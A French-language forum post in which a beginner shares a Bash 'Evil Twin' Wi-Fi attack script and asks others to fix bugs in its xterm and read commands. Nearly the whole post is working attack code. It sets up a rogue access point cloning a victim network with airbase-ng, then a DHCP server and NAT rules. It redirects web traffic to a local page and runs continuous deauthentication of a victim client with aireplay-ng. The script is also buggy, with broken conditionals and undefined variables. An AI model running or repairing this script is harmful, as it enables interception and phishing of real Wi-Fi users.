salut tout le monde
je met entre vos main mon premier script sachant que je suis débutant dans le domaine.
le script est très simple, merci de le corriger svp.

problème au niveau du commande xterm
problème au niveau du commande read

lient de téléchargement: http://ge.tt/9euy9bs/v/0?c

script:

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#!/bin/sh
#DEFINED COLOR SETTINGS
RED=$(tput setaf 1 && tput bold)
STAND=$(tput sgr0)
BLUE=$(tput setaf 6 && tput bold)
echo ""
echo ""
echo ""
echo $RED"              +############################################+"
echo $RED"              +                 EVIL TWIN                                                         +"
echo $RED"              +                                                                                        +"
echo $RED"              +                Version 1.O                                                         +"
echo $RED"              +                                                                                        +"
echo $RED"              +                                                                                        +"
echo $RED"              +############################################+"
echo ""
echo ""
echo ""
sleep 2
clear
echo ""
echo ""
echo ""
echo ""
echo ""
echo $BLUE"                    Evil Twin script Version 1.0"
echo ""
echo $RED"              ************************************************"
echo $RED"              *    1.  Install dhcp3-server                                                *"
echo $RED"              *    2.  Evil Twin Atack                                                       *"
echo $RED"              *    3.  Sortir                                                                    *"
echo $RED"              ************************************************"
echo ""
echo ""
echo ""
echo ""
echo $BLUE"                          Donnez votre choix:"
read menuoption
if [ $menuoption = "1" ]; then
clear
Xterm -bg "blue" -fg "white" -geometry 100x7+0 -T "Installation de dhcp3-serveur" -e apt-get install dhcp3-server -y & 
 
airbaseid=$!
else
if [ $menuoption = "2" ]; then
clear
echo "Donne l'interface AP"
read -e interface
echo -n "Donne le Essid du victime (Nom du Wifi)"
read -e ESSID
clear
echo -n "Donne le Bssid du victime (Mac du Wifi)"
read -e BSSID1
clear
echo -n "Donne le channel du victime"
read -e channel
clear
echo -n "Donne l'IP de ton Routeur"
read -e roteur_IP
clear
echo $BLUE"                  démarrage du mode moniteur mon0...."
echo "ifconfig $interface down"
sleep 1
ifconfig $interface down
echo "ifconfig $interface up"
sleep 1
ifconfig $interface up
echo "airmon-ng stop mon0"
sleep 1
airmon-ng stop mon0 &>/dev/null
airmon-ng stop mon1 &>/dev/null
airmon-ng stop mon2 &>/dev/null
airmon-ng stop mon3 &>/dev/null
clear
echo "                        killall -q aircrack-ng airodump-ng aireplay-ng xterm &>/dev/null"
sleep 1
killall -q aircrack-ng airodump-ng aireplay-ng xterm &>/dev/null
echo "                        airmon-ng stop $interface"
sleep 1
airmon-ng stop $interface
echo "                        airmon-ng start $interface"
sleep 1
airmon-ng start $interface
fakeap=$fakeap_interface
fakeap_interface="mon0"
Xterm -bg blue -fg white -geometry 100x7+0 -T "Airbase - $fakeap - $interface" -e airbase-ng -e "$ESSID" -c $channel -a 
 
$BSSID1 $fakeap & airbaseid=$!
echo $BLEU"                   Configuration de l'interface at0...."
sleep 1
ifconfig lo up
ifconfig at0 up
ifconfig at0 192.168.1.7 netmask 255.255.255.0
route add -net 192.168.1.1 netmask 255.255.255.0 gw 192.168.1.7
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcp.pid at0
clear
echo $BLEU"                   Démarrage de serveur dhcp...."
sleep 1
xterm -bg blue -fg white -geometry 80x7-0+25 -T DHCP -e dhcpd3 -d -f -cf "/var/run/dhcpd/dhcpd.conf" at0 & dhcpid=$!
xterm -bg black -fg blue -T "DHCP log" -e tail -f /var/log/messages & dhcplogid=$!
echo $BLEU"                   Flash des Iptables...."
sleep 1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
clear
echo $BLEU"                   Configuration des Iptables...."
sleep 1
iptables --table nat --append POSTROUTING --out-interface $interface -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
clear
echo $BLEU"                     Démarrage de Apache"
echo $BLEU"        > BackTrack -> Services -> HTTPD -> apache start"
sleep 10s
clear
echo $BLEU"                     Redirection vers la page local"
sleep 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $roteur_IP:80
iptables -t nat -A PREROUTING -j MASQUERADE
echo $BLEU"                     Démarrage airodump-ng, pour avoir le BSSID d'un client...."
sleep 1
xterm -bg black -fg blue -T "DHCP log" -e airodump-ng --bssid $BSSID1 -c $channel $fakeap
echo -n "Donne le Bssid du client (Mac du Wifi)"
read -e BSSID2
clear
echo $BLEU"                     Neutralisation de la connexion entre le Wif et le client"
sleep 1
Xterm -bg blue -fg white -geometry 100x7+0 -T "Airbase - $fakeap - $interface" -e aireplay-ng -0 0 -a $BSSID1 -c $BSSID2 
 
$fakeap & aireplayid=$!
clear
echo ""
echo ""
echo ""
echo $RED"    ####################################################################"
echo $RED"    [                 Evil Twin attack est en route...                                                                           ]"
echo $RED"    [                                                                                                                                      ]"
echo $RED"    [                        ne touchez à rien                                                                                       ]"
echo $RED"    [                                                                                                                                      ]"
echo $RED"    [ quand c'est fini appuyez sur "y" + Enterrer pour Arrêter l'attack                                                   ]"
echo $RED"    ####################################################################"
echo ""
echo ""
read WISH
# Kill all
else
if [ $WISH = "y" ]; then
clear
echo ""
echo $BLUE"                           Suppression de tous les messages"
echo ""
sleep 2
clear
kill ${airbaseid}
kill ${dhcpid}
kill ${dhcplogid}
kill ${aireplayid}
airmon-ng stop $interface
airmon-ng stop $fakeap
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
clear
echo ""
echo ""
echo $RED"             [+][+][+]     Tous est propre maintenant       [+][+][+]"
echo $RED"             [+][+][+]                                                 [+][+][+]"
echo $RED"             [+][+][+]               Merci                           [+][+][+]"
echo ""
echo ""
sleep 3
clear
./Evil_Twin.sh
else
if [ $menuoption = "3" ]; then
exit
fi
fi
fi